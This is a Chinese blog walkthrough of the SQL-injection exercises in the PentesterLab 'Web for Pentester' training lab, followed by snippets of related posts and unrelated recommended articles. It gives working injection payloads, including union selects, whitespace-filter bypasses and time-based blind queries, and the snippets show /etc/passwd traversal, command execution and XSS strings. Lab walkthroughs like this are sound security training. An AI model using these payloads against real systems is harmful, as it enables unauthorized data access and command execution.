【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1
字符类型的注入,无过滤
http://192.168.91.139/sqli/example1.php?name=root
http://192.168.91.139/sqli/example1.php?name=root' and 1=1%23
http://192.168.91.139/sqli/example1.php?name=root' and 1=2%23
http://192.168.91.139/sqli/example1.php?name=root' union select 1,2,3,4,5%23
Example 2
与example1差不多,过滤了空格,语句中存现空格就会报错
mysql注入绕过空格过滤的方法:
1、水平制表(HT) url编码:%09
2、注释绕过空格 /*注释*/
3、括号绕过空格的方法,在time based盲注中
index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109))
特点:1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作!
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=1%23
http://192.168.91.139/sqli/example2.php?name=root'%09and%091=2%23
http://192.168.91.139/sqli/example2.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 3
在example的基础上,\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉
可以使用example2中 /*注释*/ 绕过过滤
http://192.168.91.139/sqli/example3.php?name=root'/**/union/**/select/**/1,2,3,4,5%23
Example 4
数值型的注入,过滤了单引号等,对数值型无效
http://192.168.91.139/sqli/example4.php?id=3 union select 1,2,3,4,5
Example 5
与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试
http://192.168.91.139/sqli/example5.php?id=2 and 1=1--
http://192.168.91.139/sqli/example5.php?id=2 and 1=2--
Example 6
正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.
你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123.
http://192.168.91.139/sqli/example6.php?id=2 union select 1,2,3,4,5 %23 123
Example 7
解法一:
换行 \n的url编码是%0a
这边纠结了好久,最终使用了-- %23 才能注释掉后面语句
http://192.168.91.139/sqli/example7.php?id=2 and if(ascii(substring(user(),1,1))=112,sleep(1),0)--%23%0a123
解法二:
http://192.168.91.139/sqli/example7.php?id=' and 1=1 %0a1%0a' union select version(),2,3,4,5 %23
Example 8
order by `name` 报错注入出不来,用了时间盲注一个一个猜解
http://192.168.91.139/sqli/example8.php
?order=name` xor if(ascii(substring(user(),1,1))=111,sleep(5),0)%23
Example 9
与 example8类似,可以通过时间盲注进行逐一猜解
http://192.168.91.139/sqli/example9.php?order=1 xor if(ascii(substring(user(),1,1))=112,sleep(5),0)%23
参考链接:
Web for Pentester II :https://pentesterlab.com/exercises/web_for_pentester/course
Web渗透测试攻略 [三]: http://www.2cto.com/Article/201401/275482.html
Web渗透测试攻略[四]:http://www.tuicool.com/articles/EFV3UzF
Web渗透测试攻略[五]:http://www.tuicool.com/articles/Iza63eM
【渗透测试学习平台】 web for pentester -2.SQL注入的更多相关文章
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- 【渗透测试学习平台】 web for pentester -1.介绍与安装
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...
- 【渗透测试学习平台】 web for pentester -7.文件包含
Example 1 输入单引号,报错,得到物理路径 可通过../../../../etc/paaswd 读取敏感信息 可包含本地文件或远程文件 https://assets.pentesterlab. ...
- 【渗透测试学习平台】 web for pentester -4.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -3.XSS
Example 1 http://192.168.91.139/xss/example1.php?name=hacker<script>alert('xss')</script> ...
- 【渗透测试学习平台】 web for pentester -8.XML
example1: http://192.168.91.139/xml/example1.php?xml=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%2 ...
- 【渗透测试学习平台】 web for pentester -6.命令执行
命令执行漏洞 windows支持: | ping 127.0.0.1|whoami || ping 2 || whoami (哪条名 ...
- 【渗透测试学习平台】 web for pentester -5.代码执行
Example 1 http://192.168.106.154/codeexec/example1.php?name=".system('uname -a');// Example 2 h ...
- 【渗透测试学习平台】 web for pentester -4.目录遍历
Example 1 http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd Example 2 ...
随机推荐
- 怎么学好python?
文章摘自:http://www.jb51.net/article/16100.htm 1)学好python的第一步,就是马上到www.python.org网站上下载一个python版本.我建议初学者, ...
- POJ 3525 半平面交+二分
二分所能形成圆的最大距离,然后将每一条边都向内推进这个距离,最后所有边组合在一起判断时候存在内部点 #include <cstdio> #include <cstring> # ...
- CSS Hack及常用的技巧
何谓CSS Hack? 不同的浏览器,比如Internet Explorer 6.Internet Explorer 7. Mozilla Firefox对CSS的解析认识不一样,因此会导致生成的页面 ...
- 使用Fragment 实现动态UI 和 动态添加Fragment
首先写好每个Fragment: 1.在第一个Fragment写一个按钮,使其加载下一个Fragment 布局: <LinearLayout xmlns:android="http:// ...
- Apache Jmeter(1)
Apache JMeter是Apache组织开发的基于Java的压力测试工具.用于对软件做压力测试,它最初被设计用于Web应用测试但后来扩展到其他测试领域. 它可以用于测试静态和动态资源例如静态文件. ...
- swing Event-Listener-Adapter 对照表
Source Event Event Listener AbstractButton (JButton,JToggleButton, JCheckBox,JRadioButton ActionEven ...
- C语言 约瑟夫圈问题:N个人围成一圈,从第一个人开始按顺序报数并编号1,2,3,……N,然后开始从第一个人转圈报数,凡是报到3的退出圈子。则剩下的最后一个人编号是多少。
样例输入3 输出2 输入100 输出91 代码及分析: #include<stdio.h> int main() { int i,n,N,out,a[1000]; out=i=n=0 ...
- Android布局文件layout.xml的一些属性值
第一类:属性值 true或者 false android:layout_centerHrizontal 水平居中 android:layout_centerVertical 垂直居中 andr ...
- UIkit框架之UIbutton的使用
1.UIbutton的继承关系:UIcontroller:UIview:UIresponder:NSObject: 2.添加按钮的步骤: (1)创建按钮的时候首先设置类型 (2)添加标题或者图片,设置 ...
- ubuntu下的wps不能使用中文.
首先如果wps不能用中文的话应该是 excell ppt word 都不能用 . 我的办法需要改三个文件 . 先后打开这三个文件 . xpower@xpower-CW65S:~$ sudo vim / ...